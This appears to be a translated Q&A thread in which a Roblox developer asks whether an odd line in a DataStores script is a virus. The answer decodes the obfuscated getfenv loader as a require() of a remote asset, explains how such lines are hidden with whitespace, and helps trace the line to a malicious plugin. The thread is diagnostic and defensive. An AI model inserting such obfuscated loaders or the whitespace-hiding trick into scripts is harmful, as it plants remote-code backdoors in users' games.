【问题标题】:Random Code appearing in My Script, Is it a Virus?我的脚本中出现随机代码,是病毒吗?
【发布时间】:2023-04-10 13:21:01
【问题描述】:

当我完全重做我的 DataStores 脚本时,我到了最后我在哪里做游戏:BindToClose(function(),我只是循环所有玩家做我在 PlayerRemoving 上所做的事情。我在游戏后按 Enter 键:BindToClose (function() 并且这段代码出现在它下面的行。这是否意味着我的游戏有病毒?!或者这只是 roblox 的一个错误

getfenv()['\114\101\113\117\105\114\101'](5151855975)

【问题讨论】:

    标签: lua roblox


    【解决方案1】:

    您是否编写了此 DataStores 脚本,或者您是否修改了工具箱中的现有脚本?

    getfenvsetfenv 一直用于恶意脚本中,以动态执行难以阅读和理解的代码。 此行正在执行 require(5151855975),它将从 Roblox 目录动态加载 an asset。幸运的是,在这种情况下,此资产已经过审核,因此如果加载它,它不会做任何事情。

    通常,这些恶意行隐藏在真实代码的末尾之后,使用空格将恶意代码推到屏幕之外。 :

    print("This is a normal line")   <add 200 spaces>    print("here is a hidden line of code")
    

    听起来当你按下回车键时,你不小心泄露了一些秘密的恶意代码。您可能可以安全地删除它而不会破坏您的脚本。

    【讨论】:

    • 老实说,我不记得我是否编写了 Original Original 原始脚本,因为我一直在学习 lua,一旦我学会了更好的方法,我就会修改和重做脚本。我会检查是否还有更多。
    • 我很高兴您对此作出回应,我认为我前段时间安装的一个插件有恶意代码,因为我使用查找结果发现它几乎存在于我的每个脚本中
    • 我删除了我所有的插件并删除了代码。我如何在不将代码恢复到我的游戏中的情况下找到导致代码的插件?
    • 我希望你能告诉我它是哪个插件。如果你不介意我问,你安装了多少插件?
    • 其实以为我找到了,非常感谢!是的,资产已经过审核,但现在我知道了恶意代码以及如何删除并可能阻止它!
    猜你喜欢
    • 2016-09-14
    • 2022-01-23
    • 1970-01-01
    • 1970-01-01
    • 2014-09-11
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多